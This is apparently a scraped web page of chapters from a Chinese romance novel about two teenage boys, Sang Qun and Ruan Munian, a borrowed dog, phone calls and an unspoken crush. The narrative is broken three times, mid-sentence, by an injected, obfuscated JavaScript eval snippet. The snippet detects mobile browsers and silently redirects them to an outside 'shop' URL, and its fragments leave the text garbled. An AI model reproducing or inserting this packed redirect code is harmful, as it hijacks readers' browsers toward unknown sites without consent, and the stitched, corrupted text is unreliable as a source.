;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356308|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那……”阮牧年犹豫着,揪着睡衣下摆,“不能……一起睡吗?之前……” 桑群看着他,唇角微微挑了一下,指尖抚上他的耳鬓。 “你先睡,”他一直看着阮牧年,语调温柔,“我还要吃苹果呢。” 阮牧年眨了眨眼,忍不住煞风景:“你刚摸过我的脚……” 桑群闷嗤,指尖撤开,低头过去在他鼻尖上蹭了蹭。 这个熟悉的动作立刻让阮牧年有了安全感,填补了一部分无法共同入眠的失落。 “事儿精,”桑群贴着他的鼻尖,低声道,“去睡吧。” “好哦,”阮牧年点点头,“桑群,晚安。” 桑群放开他:“晚安。” 看着鹅黄小人钻进卧室,桑群搭在桌边的手指轻叩了一下桌面,旁边是有些泛黄的裸苹果。 他去了趟厨房,洗手,搓泡沫,擦干,然后拿着碗出来盛起苹果块,没撒盐,捏起一块就放进了嘴里。 原来这么甜。 苹果渐渐吃完,可留下的甜味儿却久久不散。 指尖无意识抹过上唇,等他回过神,指腹已经皱了起来。 他盯着那块皮肤看了一会儿,抬脚摸进卧室。 那盏昏黄的灯已经关掉,窗帘也只留了一条缝。床上宽大的被褥间鼓起一团——这次倒是找得到脑袋了。 阮牧年侧躺着,双腿蜷到小腹前,手掌抓着被单蒙在下巴上,是他惯常的睡姿。 因为提前扯平过被子,这次后背盖得很严实,不需要再掖。 桑群在床前蹲下,房门漏进来的光线很微弱,从他的角度只能看见对方模糊的轮廓,边缘泛着盈盈微光。 看样子真的很累,这么一会儿功夫就睡着了啊。 他闭了闭眼,隐瞒、撒谎、跟最陌生的熟人交扯辩驳,下午的觉不过勉强补眠,阮牧年需要好好睡一觉。 应该看过后就转身离开的,就像他之前每一次做的那样。 可目光落在了那团朦胧的轮廓上,他仅凭想象就能描摹出面前人的模样,从下颔到唇角,从鼻尖到眉眼。 搭在床沿的指尖动了动,最终熄于宁静。 四下静默的空间里,最适合放任思绪疯长。 他想起遥远的不知第几次心悸,想起指间触碰的酥麻,想起阮牧年味道的拥抱,再往近些,再往近些,是不久前听到的无声浩动。 明明心脏每时每刻都在跳动,可总要在某些时候,人们才能恍然意识到它正在跳动。 恰如此时此刻的桑群。 说来可笑,他冷面冷情,亲手斩断不知多少人际关系,却甩不掉阮牧年死命拉着他的那只手。 舍不得,于是只好放任它拉着自己,从过去一路奔向如今。 倘若真能如阮牧年说得那般简单就好了,彼此熟识,彼此爱护,亲如骨肉,做一辈子的家人。 他不是轻易背诺的人,许下承诺,就真的会做到。 给他数不尽的宠爱,陪他度不完的年岁。 多好。 可是。 桑群直起身,像先前的无数个夜晚一样,倾身过去,目光徘徊。 他犹豫了那么久,终于肯下定决心—— 轻轻在阮牧年额间落下一吻。 就算被察觉,这也只是个亲昵的晚安吻。 那些不为人知的触动与不自在,原来有迹可循,原来有源可溯。 当他终于揭开蒙罩心头许久的迷雾面纱,却不得不把这个秘密藏起来,埋进心房深处。 因为那是一种能让阮牧年害怕逃离的情感。 叫做喜欢。 31. 31 桑群是被一阵响动吵醒的。 他昨晚睡在客厅里,很晚才入睡,此时还有些精神不振。 下一秒就被治好了。 因为有一道白色的影子从他面前飞闪而过,紧接着阮牧年跑过茶几,有些慌乱:“等等——” 什么东西? 桑群眨了眨眼,意识还没完全回笼,忽然感觉胸口一沉。 一张巨大的白土松脸凑到他面前,兴奋地叫了一声:“汪嗷!” “宝宝!”阮牧年连忙扑过来,连桑群和捣蛋鬼一块抱住,担心地问,“你没事吧?” 桑群呆了呆,脑子有点没转过弯。 神奇,像是睁眼又做了场梦来着。 出现幻觉了?突然出现的奇怪生物,还有阮牧年怎么忽然喊他宝宝…… 怪好听的,但毕竟是梦,还是快点醒来吧。 桑群又闭上眼。 胸口的窒息感不见了,耳边响起阮牧年低低的教训声:“宝宝不能这样,你看,你都把桑桑压晕了。” 桑群:“……?” 他又睁开眼,光线恰好的天花板,熟悉的吊灯。 ……不是梦? 见他坐起来,阮牧年抱着小白狗,站在一边问:“桑桑你没事吧?” 桑群看了看他,又看了看他怀里的狗。 客厅一时有些沉默,可惜有个不懂得察言观色的小家伙,不顾场合地嗷了一声。 桑群:“……给个解释?” “啊哈哈,”阮牧年干笑,“你听我狡辩……” 洗漱完坐在茶几前,阮牧年在旁边抱着小狗呼噜呼噜毛,说:“……总之就是这样,邻居把宝宝临时托付给了我,在她回来之前帮忙照看一下。” 桑群看向这只白土松,暗粉的小鼻子在阮牧年身上蹭来蹭去,小卷尾巴晃啊晃。 狗叫宝宝……哈,跟阮牧年的取名水平旗鼓相当。 但是,它到底在蹭什么? 桑群幽怨的目光落在白色小狗身上,后者正一个劲地跟阮牧年玩,摸肚子蹬腿,呼噜毛摇尾,不管怎么玩,都喜欢往阮牧年腰腹间挤啊挤。 “哈哈,不闹了宝宝,”阮牧年眯起一只眼,往后仰了仰身子,注意到旁边桑群的目光,“你也要摸嘛?” 狗有什么好摸的,又不是人。 桑群回绝:“不。” “那你一直看着宝宝干嘛呀,”阮牧年歪着脑袋看他,“还以为你也想摸摸看呢。” 宝宝……什么肉麻的称呼,能不能别再叫了? 真烦。 桑群转移话题:“……饿了。” 阮牧年瞪大眼睛看他。 “……不是说狗,”桑群后知后觉话语中的歧义,又补了一句,“是我,刚醒,饿了,早饭呢?” 阮牧年:“没了。” 桑群:“?” “把宝宝接回来,我就没进过厨房,”阮牧年凑到他面前,问:“你很饿吗?能忍吗?” 怎么忽然靠这么近。 桑群僵了一下,努力推开他的脸:“……一身狗味,别凑过来。” “我待会儿要带宝宝出去散步,这是它每天早上的锻炼项目,”阮牧年撸着狗说,“你要是实在饿的话,冰箱里有之前买的速食早餐,热一下就能吃。” 桑群问:“出去多久?” “午饭之前回来吧,”阮牧年跟着小狗一起摇了摇脑袋,笑得很开心,“想吃什么?我可以顺路去买菜。” “算了,”桑群拎起沙发上的毯子叠好,说,“我回家看看我妈。” “嗷。”阮牧年应了一声。 小狗扬起脑袋,也跟着叫了一声:“嗷!” “宝宝,”阮牧年摸着小狗爪子,指了指桑群,“这是阿君羊哥哥。” 宝宝:“汪嗷汪嗷!” 一人一狗目光殷切地看向他。 桑群:“……” 怎么,他还要吠回去吗。 桑群:“呵。” 阮牧年:“你要回应它呀,说宝宝你好。” 桑群:“……我没那么幼稚。” “宝宝好喜欢你的,”阮牧年弯着眼睛说,“要不是我抱着,它又要冲你身上去了。” 桑群愣了愣,抛开狗不谈,阮牧年这话听起来简直就像是在…… 耳尖发烫,他轻咳一声,别过脸去:“……哼。” “宝宝别难过,”阮牧年低下头哄小狗,“桑桑也喜欢你的,他都害羞啦。” 桑群起身,绕过沙发:“我去换衣服,你要出门就赶紧出门。” “桑群,”阮牧年喊了他一声,“你的那件衣服我昨天穿走了,衣柜下层有点乱哦。” 什么。 桑群昨天只打开过上层,听他这么一说,没忍住去看了一眼下层。 桑群:“……” 这叫有点乱?他都把衣柜翻成狗窝了。 就不该手贱打开,一旦看见就无法装作不存在。洁癖和强迫症同时发作,桑群顾不上换自己的衣服,蹲下来整理了半天衣柜。 外面的人狗玩出菜市场的动静,然后阮牧年提高声音叫他:“我们出门啦!” “赶紧滚。”桑群绝望地蹲在阮牧年的乱衣堆里。 为什么会喜欢上这样的家伙,他去医院应该挂眼科还是心脏科? 真是的。 好不容易收拾完,回到家一开门就看见他妈一条腿翘着趴在沙发上,拿着拐杖挥来挥去。 怎么一个两个都不省心,桑群赶紧问她:“你在干什么?” “哎唷,吓我一跳,回来了啊,”桑母指挥他,“快,我苹果掉地上了,帮我捡起来,三秒内还能吃。” 桑群:“……” “时间再快也无法掩盖它已经脏掉的事实……”桑群把苹果递过去,说。 “要你管,事儿真多,”桑母吹了吹苹果,咬下一口,“怎么现在回来了?我没煮午饭啊。” 桑群:“我量好尺寸了。” “你真的是……”桑母咽下苹果,问,“听说年年昨天去见他妈妈了?聊了什么啊,怎么还让你留了一晚?” 桑群在沙发坐下:“他妈妈想接他一起住。” “好事啊,年年等了这么久。” 桑群叹了口气:“可他妈妈再婚了,他不太乐意。” “哦,”桑母点点头,“也是,能理解。” 这人是阮牧年毒唯吧,桑群快速结束这个话题:“所以不欢而散了,现在还是先在学校附近住着。你中午想吃什么?” 桑母惊恐:“你要做饭?能吃吗?” “……有的吃都不错了。” “我想吃路口新开的那家麻辣烫。” “你小孩儿吗,医生都说了最近吃清淡点。” “你煮饭,我宁愿吃外面的垃圾食品。” 桑群:“……” “好好待着,”他到冰箱前翻了翻,食材比他和阮牧年的多,“中午吃面,加蛋。” 桑母惊讶:“你还会捞面啊?” “哼,”桑群拿起食材上了灶台,“我没那么废物。” 桑母听出他的言外之意:“那你学习上还是比年年废物的。” 桑群:“……你就护着他吧。” 弃子之位真是坐实了。 一只外来的小狗都比他受宠。 对,还能让人一直喊宝宝。 “宝宝!”阮牧年拉着狗绳,“你跑慢点——” “汪嗷!汪嗷!” 宝宝兴奋地在前面跑着,虽然是熟悉的地方,但今天的铲屎官不一样,它特别喜欢,所以遛人遛得很起劲。 “好有活力呀宝宝。” 阮牧年夸夸,跟着它跑,感觉自己都不需要格外训练了,这样两百米肯定能进决赛啊。 不对。 他好像被体委缠着把两百换成一千了。 可恶。 这样想着,脚步不禁加快。 宝宝:“?” 人,怎么跑得比它还快。 小狗不甘落后,四腿刨得更快了。 街道上一时出现人狗竞速奇观,令人叹为观止。 不知跑出了几里地,阮牧年喘着气停下,朝宝宝挥手:“不、不跑了,宝宝乖,咱歇会儿先……呼。” 好累,不过对于阮牧年来说,运动是保持心情舒畅的有效方式之一。 他站在树荫下,右手撑着腰,抬头看过去。 树冠枝繁叶茂,阳光从枝叶间隙散落,天穹清澈碧蓝,浮云洁白无瑕。 是个好天气啊。 他长出一口气,随着二氧化碳一同排出体内的,还有这些日子不断内耗产生的阴霾。 “宝宝,来,”阮牧年蹲下来,从口袋里掏出邻居给的口粮,奖励它,“今天表现很棒,来吃好吃的吧。” 宝宝高兴地嗷了一声,凑到他掌心里窸窸窣窣地吃。 好可爱呀,如果有机会,真想养只小狗。 小猫也可以的,都很可爱。 但…… 阮牧年趴在自己的膝盖上,看着小狗出神。 桑群好像……不太喜欢小狗。 还记得早上对方的眼神,有些怪怪的,不是厌恶,但也绝非喜欢。 难道他喜欢猫吗,不需要费心陪伴? 或许吧,毕竟自己对他来说已经够折腾心累了。 摸着宝宝脑袋的时候,阮牧年又在想,有没有什么品种适合他们养呢?柯基、萨摩耶,还是比格犬? 他找了个长椅坐下休息,让宝宝自己踩着他的鞋玩,然后掏出手机。 【Ruann:宝宝你喜欢什么小动物啊】 【阿君羊:?】 【Ruann撤回了一条消息】 【Ruann:桑桑你喜欢什么小动物啊】 【Ruann:叫了一早上顺嘴打错惹[对手指]】 【阿君羊:问这个干什么】 【Ruann:问卷调查,你快说啊】 那边过了几分钟才回复。 【阿君羊:喜欢黏人的宝贝】 【Ruann:?你也打错了?】 【阿君羊:没打错】 【Ruann:……】 什么意思啊,阮牧年咬着嘴唇,喜欢“黏人的宝贝”?还是喜欢“黏人的”,喊他宝贝? 怎么断句都怪怪的。 不过光是想象桑群喊人宝贝的样子,就让人感到有一股酥麻爬过手臂,激起一片鸡皮疙瘩。 那道冷冽的嗓音鲜少有如此温柔的时候,念过最软的字眼是“年年”。 胡思乱想了一阵,低头看,对面发来了新消息。 【阿君羊:[图片]】 阮牧年点开一看,是一个破碎的半边焦黑的荷包蛋。 【阿君羊:焦了,为什么?】 什么啊,桑桑在煮饭吗? 阿姨居然肯放他进厨房。 阮牧年先对着图笑了半天,还拿给宝宝看:“宝宝你看,这是阿君羊哥哥煎的蛋哈哈哈。” 宝宝对着手机屏幕发出疑惑的嗷呜声,不明白人为什么要跟它分享一坨垃圾。 阮牧年按住语音键:“笨蛋,你多翻翻面啊,锅铲从边缘一点点撬开。你这不仅焦了,还粘锅了呀。” 桑群也发来了一条语音。 “救我,”他的声音压得很低,被电磁修饰过反而显得有些暧昧,“我妈待会儿就要来视察了。” 好可怜,阮牧年连忙对他进行远程指导,从敲蛋到放面,事无巨细。 真是的,明明上个月还亲手教过他怎么下面,现在就忘啦? 而此刻的桑家,桑母在客厅看着电视嘎嘎乐,根本懒得管自家小子会把厨房折腾成什么鬼样。 桑群将手机调成听筒,抵在耳边,里面是有些失真但依然清朗好听的少年音。 其实他还记得怎么捞面,只是想再听听阮牧年的声音。 真奇怪,原来距离会让人们产生思念吗。 好不容易出了锅,桑母半信半疑地舔了一口,居然能吃。 吃过饭,桑群拿着布料和针线进了自己的卧室。 【Ruann:[图片]】 还没回去吃饭吗? 桑群点开图片。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356309|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >背景是一片绿油油的草地,白色小狗正刨着四肢扑蝴蝶。 桑群看着这张图,感觉有点眼熟。 【阿君羊:怎么跑到南中那边去了?】 【Ruann:宝宝体力很好,我俩跑着跑着就到这儿了[开心]】 【Ruann:这附近有个大公园!我没进去,跟宝宝在周边的草地玩~】 【Ruann:下次我们也过来玩呀】 【阿君羊:怎么,遛我?】 【Ruann:哈哈哈哈哈哈】 【Ruann:[视频]】 视频里,那条蠢狗跑着跑着滚一下,跑着跑着滚一下,白色的身子都沾上了不少草叶,而视频外被可爱强行降智的笨蛋居然一个劲地夸它好棒。 【阿君羊:……你也挺棒】 这都能夸得出口,阮牧年素质极高。 【Ruann:我也觉得嘿嘿】 他还照单全收啊? 又过了一会儿,阮牧年给他拨了个语音通话。 桑群接起来:“嗯?” “桑桑,”阮牧年问,“你方便接电话吗?” 桑群无语:“你怎么不挂断后再问?” “嘿嘿,我给忘记了嘛,”阮牧年那边的背景音很嘈杂,但他的声音很清晰,“你在干嘛呢?” 桑群看了看手里的材料,往旁边推了推,说:“帮我妈干活。” “啊,”阮牧年说,“那我打扰到你了吗?” “没,正好休息一会儿,”桑群靠着床沿坐在地上,一条腿支起,一条腿舒展,问,“有什么事儿吗?” “没事啊,我就是累了,想找你聊聊天。” 桑群轻哼:“不是挺有活力的?跟狗赛跑能跑几公里。” “那是宝宝太活泼了呀,”阮牧年坐在长椅上晃着腿,说,“我只是个垂垂老矣的高中生,比不过,根本比不过。” 桑群发出嘲笑的嗤声。 阮牧年:“话说,前面问你喜欢的小动物……黏人是什么样的啊?宝宝就很黏人啊。” 桑群心说你这样的,口上却道:“逗你的。为什么忽然问这些?” 阮牧年说:“我想知道嘛,那你是更喜欢狗狗,还是更喜欢猫猫?” 更喜欢年年。 桑群:“都行。你想养?” “等有机会了,我们养一只怎么样?”阮牧年畅想道,“当我们很累的时候,它就会跑过来抚慰我们,而且可爱的样子看起来也很治愈……” 桑群:“你也喜欢黏人的?” “唔,不能这么说吧,”阮牧年说,“有些小动物虽然高冷,但不用时刻陪伴,不会耗费太多精力;有些小动物虽然需要我们跟它互动,实际上我们也从它热情的回应中得到了情绪价值呀。” 桑群深感赞同:“嗯。” “特别是像桑桑你这样的,”阮牧年闭着眼说,“话少,所以需要身边有个活泼的陪你,积极地给你反馈,这样就不会感到孤独了,对不对?” 桑群低嗤:“倒分析起我来了。那你呢?” 阮牧年说:“我跟你互补呀。” 不是说着养宠物吗,怎么拐到人身上了。但桑群没有提醒他,只是顺下去说:“我不会给你情绪价值。” 其实他也有点好奇,自己这样的性格,阮牧年是怎么忍受这么多年的。 “不一样的呀,”阮牧年对着电话轻声说,“有些人的情绪是写在脸上的,有些人却喜怒不形于色。虽然桑桑你非常冷淡,但我能感受到……嗯,我知道的。” 桑群:“你知道什么。” “我知道你对我好,很好很好,”叶隙的阳光落在眼皮上,暖暖的,阮牧年告诉他,“从我记事起,你是第一个让我感到温暖的人……我是不是没有告诉过你?桑群,我没有跟爸爸妈妈一起睡觉的记忆,只有你会哄我睡觉,会给我晚安吻……” 桑群闻言微僵。 卧室里静悄悄的,他的心跳声颇为喧嚣。 昨晚的事……难道阮牧年知道? 但对方只是若无其事地继续讲下去:“所以,比起我寄托多年却无望的幻想,比起那些热切却频繁的目光,我更愿意待在你身边……桑群,不管怎么想,我只会选择你。” “……” 这家伙……知道自己在说什么吗。 电话那头,桑群捂着发烫的脸,生怕自己的气息泄露情绪。 频道里一时陷入沉默,没人再说话。桑群不敢,而阮牧年…… 他仰着头靠在椅背上,目光所及是斑斑点点的碎阳,常青树高大挺拔,树荫仿佛某人的臂弯。 这世上好多事是想不通的,就像幼儿园的时候,他不明白爸爸妈妈为什么要离婚;小学的时候,他不明白妈妈为什么不带他走;甚至是在昨天吃饭前,他依然不明白为什么亲人都健在,自己却活得像个孤儿。 可长大也是一夜之间的事。 几声带着情绪的吼,一场绵长潮湿的哭,某段温暖宽阔的眠……能治愈沉疴顽疾的只有刮骨去毒,将那些随着年月不断沉积的痛苦与哀伤剥离心房,从此他的血液才能更加鲜活地流动。 而给予他新生的人…… “桑群,”阮牧年唤他,语调轻柔,“我们不能分开啊。” 桑群应道:“嗯。” 阮牧年又说:“不能像他们那样分开。” 桑群听出他的言外之意,心生无奈:“我们又不会离婚。” “是啊,”阮牧年笑了笑,眼上的阳光在跳动,“真好。” 两人无言了一会儿,桑群手肘搭上膝弯,忽然很想见他一面。 从语气就能听出来,估计又在想昨天的事了。 总是笑得灿烂的家伙,其实只是习惯把悲伤与创口往心底藏,又敏感又坚强,叫人心疼。 阮牧年:“嗨。” 怎么了,桑群正要开口问,就听那边又传来一句:“没想到会在这里遇到你。” 碰见熟人了?是谁? 一道熟悉的冷淡声音响起,不是程抒晴。 “嗯,”那声音这样说,似乎只是随口一问,“跟男朋友通话?” 32. 32 阮牧年闻言愣了愣:“……什么?” 宁舟见他表情不对,顿了顿道:“抱歉,我以为……在跟你朋友电话?” 对方蹦出个“男朋友”很莫名其妙,阮牧年下意识看了眼通话页面。 挂断了。 是他刚才不小心按到的,还是桑群挂的? “你……”阮牧年放下手机看回去,无奈地笑了笑,“怎么想的啊。” 宁舟挑了挑眉,没说话。 “今天心情很好?”阮牧年站起来,问,“都有闲心调侃我了。” “嗯,确实不错,”宁舟颔首,余光瞥见他手里的牵绳,“你的狗?” “不是哦,帮邻居姐姐遛一遛。你看,可不可爱?” 阮牧年把小狗抱起来,捧到对方面前:“宝宝来,这是宁舟哥哥。” 宝宝挥舞着前爪,开心地打招呼:“汪嗷汪呜!” 宁舟一愣:“它的名字……挺特别。” “是吧?我刚知道的时候也觉得很有趣,”阮牧年抱着宝宝把它往前凑了凑,“你摸摸看,它很乖的,亲人。” 宁舟伸出手,在触及小狗毛发前蜷了蜷手指,才慢慢放到它身上,轻轻揉了一下。 宝宝很喜欢长得好看的人,今天见到的都是,于是它兴奋了一整天,此刻也奋力将小爪搭到对方手上,想要投入新的怀抱。 宁舟手僵了一下,又慢慢收了回去。 阮牧年看了他一眼问:“你是不是……不太喜欢接触小动物啊?” “没,”宁舟说,“我只是……没摸过,挺奇特的。” “其实我也没怎么摸过,”阮牧年笑了笑,说,“今天与其说是我遛狗,不如说是宝宝遛我呢,都把我遛累了哈哈。” 宁舟抿了抿唇,眼尾弯起不易察觉的弧度。 阮牧年微怔。 似乎确实心情不错,毕竟宁舟也是远近闻名的高冷难近,很少会露出这样的表情。 只是——他不可避免地想到桑群——比起这位,在他面前的桑群倒是活泼极了。 特指嘴。 “怎么跑这边来了。”宁舟问。 阮牧年开始给他讲述自己和宝宝一路驰骋半个南区而来的惊险经历,期间宝宝一直嗷嗷叫,不满人对它精力旺盛的吐槽。 听完,宁舟指了指旁边说:“那是这边的老公园了,不收门票,可以进去逛逛。” “老公园?我还没听说过呢。” “是,比我年纪都大,”宁舟点了点头,“这几年才开始翻新,以前确实不好玩。” “好啊,”阮牧年笑着说,“那下次我带桑群一块过来玩。” 他顿了顿,解释了一句:“桑群就是……呃,上次跟我一块儿那个。” 宁舟哦了一声,默了几秒也解释道:“上次看见你们牵手走的,所以我……抱歉。” “嗷没事没事,”阮牧年连忙摆手,笑了笑,“难怪,我就说你怎么忽然说奇怪的话。我和他从小一块长大,都习惯了哈哈,他一直很宠我的。” “是么,”宁舟怔了怔,“从小一块长大……挺好的。” 男朋友的事算是揭过了,话题很快转移到了学业上,不知为何阮牧年在心里松了口气。 得知对方竟然不参加物理竞赛,阮牧年有些惊讶:“为什么?这次奖金很多的啊。” 宁舟只是说:“我找了一份新兼职,有点忙,顾不上。” “这样啊,”阮牧年有些遗憾,“那我只能收下你白送的奖金了。” 宁舟轻嗤:“你缺钱?” “不缺啊,”阮牧年说,“我在给人准备礼物呢。” “哦,”宁舟说,“加油。” 两人又聊了一会儿,宁舟的目光往旁边移了移。 阮牧年看过去,路口站着几个女生,被围在中间的那人极为高挑,长发束在脑后。 宁舟忽然说:“我得走了。” “啊好,”阮牧年点点头,“那再……” 旁边传来不高不低的一道叫唤,声线慵懒散漫,尾音带着钩子。 “班长,”那人偏过头,眼尾斜挑,“真巧啊。” 宁舟后撤的脚步顿住。 阮牧年看着那人跟其他女生说了什么,然后一个人往这边走来。 这场面……他是不是应该避嫌? 宁舟似乎不太愿意见到那人。 倒是那人看向他,挑了挑眉,问:“朋友?” “哈喽哈喽,”阮牧年笑着跟他打了声招呼,“对的,我是宁舟朋友,刚凑巧碰到他。你是宁舟的同学吧?” “嗯,”那人点了点头,艳丽的眉眼给人一种平易近人的错觉,“没想到他还有朋友啊。” 这他怎么接话,阮牧年看了看这位同学,又看了看眉头微皱的宁舟,左右为难。 那位同学先对他伸出手:“别在意,我就是有些惊讶。第一次见面,交个朋友吧,我叫杜闵,是宁舟的……” 对方的目光在宁舟身上流连了一会儿,没有说下去,只是发出一声意义不明的语气词:“……哈。” 啥呀,阮牧年只好连忙握住那只手,缓和有些僵硬的气氛:“你好你好,我叫阮牧年,是二中的哦。” “二中?”杜闵有些惊讶,挑了挑眉,“怎么跑这边来了?” “我来遛狗哦,”总算有个好切入的话题了,阮牧年连忙抱起宝宝开始营业,“看,这是宝宝,可爱吧?” 杜闵没忍住笑了一声:“宝宝……是挺可爱的。” 宝宝也很赞同:“汪嗷!” 杜闵眯了眯眼,后退了一步:“抱歉,你的小狗很讨人喜欢,但我有些皮毛过敏。” 阮牧年愣了愣,赶紧把宝宝放到身后:“不好意思不好意思……这样可以吗?我让它躲后面。” “当然,”杜闵点了点头,又笑着看向宁舟,“你觉得呢,班长?” 宁舟抿了抿唇,偏头对阮牧年说:“你不是还要去逛公园么,先去吧,不用管我。” 这是给他台阶下了,阮牧年感激不尽:“好哦好哦,那你们慢慢聊,回头见啦!” 杜闵好脾气地跟他挥手告别:“再见,牧年。” 跟着宝宝跑到公园大门边,阮牧年才停下来歇口气。 好可怕的感觉,那两人凑到一块,有种让人尴尬异常又无法飞快逃离的窒息感。 阮牧年晃了晃脑袋,新的疑惑又冒了出来。 话说这位杜闵,究竟是男生还是女生啊? 第一眼看过去以为是高挑的长发姐姐,结果对方一开口他又有点不确定了,并且跟人家握手也能感觉那只手掌并不娇小柔软。 应该是男生? 可他长得好漂亮啊,还留长发,都到腰了。 高中男生的头发不可能留那么长吧? 好纠结,好好奇,好想八卦,阮牧年找了棵树蹲着,摸出手机又给桑群打了个电话。 桑群很快接了:“喂。” “男朋友,”阮牧年问,“在干嘛呢?” “噗……咳咳。” 桑群好像在喝什么东西,闻言直接被他呛到。 “你……”咳了半天,桑群声音都哑了,“有病?” 阮牧年委屈:“你怎么能这么说人家,嘤嘤嘤。” 桑群深吸一口气:“……有事说事。” 阮牧年把刚刚的见闻跟他分享了,一个劲地问:“我好好奇,你说他俩什么关系啊?” 桑群:“你在哪儿?” 阮牧年:“我在这个公园走进来的第三棵树下啊,宁舟说这是个老公园。” “嗯,”桑群说,“再往里走一点,有一个水池,旁边的木板路有一个岔口,站过去可以看到公园外的草地。” 阮牧年愣了愣:“你来过这里?” “老公园么,”桑群说,“我家以前……在这附近住过。” “啊,”阮牧年跟着他的指引,果然找到了他说的地方,往外一看,那两道人影还站在路边,“真的耶,桑桑你好棒!” 桑群哼了一声:“逗狗呢?” “是夸你呀,”阮牧年蹲下来,扒着木栏杆静观后续,“他们好像就是聊了几句,也没啥肢体接触。唉,我还以为……” 桑群:“以为什么。” “以为……”阮牧年压低声音说,“他是宁舟男朋友呢。” 桑群好像又呛到气管了。 “你怎么了啊桑桑,”阮牧年捂着手机担忧地问,“是喉咙不舒服吗?” “咳,你八卦半天,就想看这个?”桑群简直无语,“没事找事。” “可是那个杜闵真的很漂亮啊,”阮牧年轻声告诉他,“他俩也不是没可能吧?毕竟宁舟性取向之谜的帖子曾经也是论坛的热搜前三啊。” 什么,阮牧年也刷论坛? 桑群装作不在意地问:“什么论坛?” “二中论坛呀,”阮牧年说,“有个外校分区,专门讨论其他学校的知名人物。” 桑群又问:“我怎么没见过。” “哪儿能让你知道啊,”阮牧年嘀咕,“被你发现龙虎之争还得了。” 龙虎……好像是第二次听到这个词了。 到底是什么? 桑群换了个角度试探:“你经常刷?” “那倒没有,”阮牧年挠了挠头,“我上次设置的密码记不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356310|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来了,开学后就没怎么上了。” “少刷论坛,”桑群苦口婆心,“多读点书。” 阮牧年:“?” 这话对吗? “说到读书,”阮牧年启动反击,“你国庆作业写完了吗?” 桑群:“……” 桑群:“我妈喊我去帮她换药,待会儿再说。” “你可劲逃吧,”阮牧年乘胜追击,“离假期结束就剩三天了!” 太恶毒了。 桑群叹了口气,作业……阮牧年给他收拾的作业,他一个字都还没动呢。 那这几天都在忙活什么? 他低头看了看手里的小衣裳,快完工了,就差一点收尾工作。 也不算是啥也没干吧。 不想写作业。 桑群趴在书桌上,小衣裳已经完工,他的作业一片空白。 门板传来奇怪的动静,他妈在外面喊:“晚上吃啥?” 桑群立刻离开书桌,打开门:“你想吃什么?” “哎呦,”桑母往他房间里看了一眼,“你写作业呢?要不我去煮……” “不用,”桑群赶紧说,“我来,你歇着。” “你是真想干活,”桑母怀疑地看着他,“还是不想写作业?” 桑群:“呵,你话真多。” 桑母:“既然你没什么想法,那我说了,我想吃路口新开的那家粥铺。” 路口怎么老是开新店,桑群疑惑:“我下楼给你买?” 桑母:“点个外卖就好了,那么麻烦干什么……你是真的不想写作业吧?” 桑群:“……” 看破不说破是基本礼仪,这位女士。 “你赶紧写吧,我帮你也点一份,”桑母杵着拐杖说,“别摆烂了,离假期结束只有三天了。” 这两人是不是串通好的?桑群没好气道:“你也别歇着,有空赶紧去干活,而不是看你那八点档肥皂剧。” 桑母:“嚯,我现在可是病人。” “我还是未成年呢,”桑群指了指她手里的拐杖,“别再用这玩意敲门了,小心弄坏。” 桑母:“这拐杖是铁的。” 桑群:“我说我的门。” 桑母:“……嘁,写你作业去!” 桑群:“嘁。” 他把门关上了。 趴回书桌上,卷子印的明明是中文,读起来却像天书,桑群狠狠叹了口气。 手机屏幕亮了一下。 他伸手戳开。 阮牧年给他发来了今日作业清单。 啧。 桑群迅速熄灭了屏幕。 过了一会儿,他又点开聊天软件,动态页有好多个红点。 真奇怪,以前没这么多消息啊。 左右作业是写不下去的,他点开红点。 【将将将璋更新了多条动态,快来看看吧】 桑群:“……” 还以为是什么事儿。 体委真的很喜欢分享日常,国庆假期到现在四天了,他每天发不下10条动态。 好无聊,桑群划拉着动态页面,吃吃喝喝玩玩,这些人就没点别的事情分享了吗? 嗯? 他的手指顿了一下,下一条终于不是将将将璋的动态。 而是Ruann的。 【Ruann:下次不会再忘带了[图片]】 图里是那条蓝色运动发带。 这是……某种回应吗。 把话发在这里,表面上好像认错态度良好,但实际上应该是赌他根本不会去关注动态,所以才这么大大方方。 桑群哼笑一声。 底下有一堆乌烟瘴气的评论,问啥的都有,看着都头疼。 原来……阮牧年有这么多好友啊。 心里清楚年年人缘好,可实际看到又是另一种滋味。 想给他点个赞,又怕被抓到自己没写作业,桑群赶紧往下划了划。 咦。 体委的某条动态终于让他产生了些许兴趣。 【将将将璋:这个论坛真的是笑死我了哈哈哈哈哈哈哈哈哈哈哈[图片]】 桑群盯着那张图研究了几秒,转头点开浏览器。 经过多番尝试,他居然真的摸进了这个所谓论坛。 有点意思。 